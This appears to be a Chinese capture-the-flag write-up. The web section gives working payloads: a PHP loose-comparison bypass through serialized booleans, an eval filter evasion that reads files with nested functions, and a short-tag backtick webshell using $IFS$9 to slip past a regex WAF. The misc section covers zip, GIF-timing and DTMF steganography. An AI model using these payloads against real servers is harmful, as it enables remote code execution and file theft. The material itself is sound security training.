WEB

web1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
highlight_file(__FILE__);
$username = str_shuffle(md5("admin"));
$password = str_shuffle(md5("root"));
$login = false;
if (isset($_GET['str'])) {
$str = $_GET['str'];
$unserialize_str = unserialize($str);
if ($unserialize_str['username'] == $username && $unserialize_str['password']
== $password) {
$login = true;
}
}
if ($login && isset($_GET['code'])) {
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
if
(!preg_match('/highlight_file|localeconv|pos|curret|chdir|localtime|time|sessio
n|getallheaders|system|array|implode/i', $_GET['code'])) {
eval($_GET['code']);
} else {
echo "含有危险函数" . "<br/>";
}
} else {
echo "不符合正则表达式" . "<br/>";
}
}

代码审计,可以得知要做的有两点。第一点是通过第一个if语句返回true,第二点是通过第二个if,执行eval函数拿flag

1
2
3
$unserialize_str = unserialize($str);
if ($unserialize_str['username'] == $username && $unserialize_str['password']
== $password) {

$username和$password都是经过md5加密,想要满足左边==右边,只需左边的bool为true即可。由于php是弱类型语⾔,所以bool值为true的变量和任何变量⽐较都相等,除了0和false,因为0认为是bool false

构造 $str

1
2
3
4
5
6
7
8
<?php
$a=array(
"username"=>true,
"password"=>true
);
var_dump($a);
echo serialize($a);
?>

image-20210426233743875

1
a:2:{s:8:"username";b:1;s:8:"password";b:1;}

第二部分则是考察无字母RCE,下面是被ban掉的函数

1
highlight_file|localeconv|pos|curret|chdir|localtime|time|session|getallheaders|system|array|implode 

发现可以利用scandir()函数,而scandir(‘.’)则会返回当前文件夹的目录

1
var_dump(scandir('.'));//就可以打印当前目录出来

正则过滤掉’.’,所以用其他嵌套函数来取代这个’.’

这里用了嵌套三角函数

1
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))

所以payload

1
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
1
?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));

image-20210427180957522

flag在最后一个文件,读取最后一个文件

1
?str=a:2:{s:8:"username";b:1;s:8:"password";b:1;}&code=code=var_dump(readfile(end(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))));

image-20210427181112500

web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 <?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}

?>

控制点就是$data,$data过了cheak方法就能执行file_put_contents()方法。所以要做的就是绕过正则匹配

⽤短标签绕过对php的过滤, $IFS$9 代替空格

1
?action=upload&data=<?=`ls\$IFS\$9/`?>

得到文件列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
!whatyouwantggggggg401.php
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

用通配符读取文件

1
?action=upload&data=<?=`cat\$IFS\$9/*.ph*`?>

image-20210427230726485

web3

MISC

隐藏的书

010打开zip,看到这个字段是奇数,考虑伪加密

image-20210410221204208

改成偶数8。正常打开zip

根据期刊论⽂编写脚本,解码就得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
/**
* @param [String] Strings that need to be Unicode encoded。
* @author [name] Gqleung
* @date 2021-03-30 10:22:46
*/
function UnicodeEncode($str){
preg_match_all('/./u',$str,$matches);
$unicodeStr = "";
foreach($matches[0] as $m){
$unicodeStr .= "\\u".substr('0000'.base_convert(ord($m),10,16),-4);
}
return $unicodeStr;
}
function UnicodeDecode($str){
$result='';
$UnicodeStrArry = explode('\\u', $str);
foreach ($UnicodeStrArry as $value) {
if(empty($value))
continue;
$result .= chr(base_convert($value,16,10));
}
return $result;
}
function encrypt($laws,$Hiddentext){
$secret="";
for($i=0;$i<strlen($Hiddentext);$i++){
$temp = ord($Hiddentext[$i]);
$temp = base_convert($temp,10,2);
$temp = substr('00000000'.$temp,-8);
$temp = str_split($temp,4);
foreach ($temp as $value) {
$secret .= "\\u".substr('0000'.base_convert($value,2,16),-4);
}
}
$secret = UnicodeDecode($secret);
$Ci = explode(".",$laws);
$Ca = $Ci[0].".";
$Cb = $Ci[1];
$Ciphertext = $Ca.$secret.$Cb;
return $Ciphertext;
}
function decrypt($Ciphertext){
$tmp = "";
$laws = "";
for($i=0;$i<strlen($Ciphertext);$i++){
if(!(32<ord($Ciphertext[$i])&&ord($Ciphertext[$i])<127)){
$tmp .= UnicodeEncode($Ciphertext[$i]);
}
}
$tmp = explode('\u',$tmp);
$m='';
for($i=0;$i<count($tmp);$i++){
if(empty($tmp[$i]))
continue;
$t = substr('0000'.base_convert($tmp[$i],16,2),-4);
$m .= $t;
if(strlen($m)==8){
$laws.=chr(base_convert($m,2,10));
$m='';
}
}
return $laws;
}
//$a = encrypt("Hello.Gzmtu",$flag = "flag{8f807f74-9088-11eb-b255-00163e0620b4}");
echo decrypt(file_get_contents('flag.txt'));
?>

image-20210410221442493

你能看到图片里的flag吗

⽤Stegsolve打开 key.gif 查看详细信息,发现不是每⼀帧的时间都相同,时间间隔不是20就是30,考
虑gif时间隐写

image-20210410220212857

⽤kali⾃带的⼯具提取时间间隔

1
identify -format "%T" key.gif

得到

1
2
2030302030302030203030202030202020203030203020302030203030303030203030203020202
0203030202030203020303030202030202030302020302030

将20替换为0,30替换为1

1
0110110101100100001101010101111101101000011001010111001001100101

二进制字符串转换

1
md5_here

md5加密

1
623a3f3d828099e440475ce285c341ac

得到了hint.rar密码

解压得到两个文件

hint.txt

文件提示:

1
2
使⽤邻近法放缩图⽚
图⽚的宽度和⾼度在width_height.txt

width_height.txt

得到坐标集合,通过python将这些坐标输出到图⽚上

1
2
3
4
5
6
7
8
from PIL import Image
img = Image.new('RGB', (200, 200), (0, 0, 0))
f = open('width_height.txt')
for line in f.readlines():
point = line.split()
img.putpixel((int(point[0]), int(point[1])), (255, 255, 255))
f.close()
img.show()

得到一张二维码

image-20210410220502895

扫码:

1
width:192 height:90

PS打开flag.png,按住 Ctrl+alt+I 调整图⽚⼤⼩

image-20210410220614790

神秘的铃声

解压,得到flag.wav,用010打开,发现base64

image-20210410223020918

解base64,得到PK头,说明是压缩文件:

image-20210410224813751

将原文放在test.txt,再导出为zip文件

1
2
3
4
5
6
7
8
9
10
<?php
$filepath='test.txt';
$fp=fopen($filpath, 'rb');
$content=fread($fp, filesize($filpath));
fclose($fp);
$content=base64_decode($content);
$filename='123.zip';
$zip_fp=fopen($filename, 'wb');
fwrite($zip_fp, $content);
?>

发现要密码:

image-20210426232214319

音频为一段DTMF,解密得到密码:

image-20210410225332237

1
D#*C9A16B

解压得到flag.txt是一串坐标,转换二维码

1
2
3
4
5
6
7
8
9
10
from PIL import Image
img = Image.new('RGB',(500,500),(0,0,0))
#创建Image对象
f = open('flag.txt')#打开flag.txt⽂件
for line in f.readlines():
point = line.split()
img.putpixel((int(point[0]),int(point[1])),(255,255,255))
#读取⽂件中的每⼀⾏,并修改像素
f.close()
img.show()

image-20210410225527903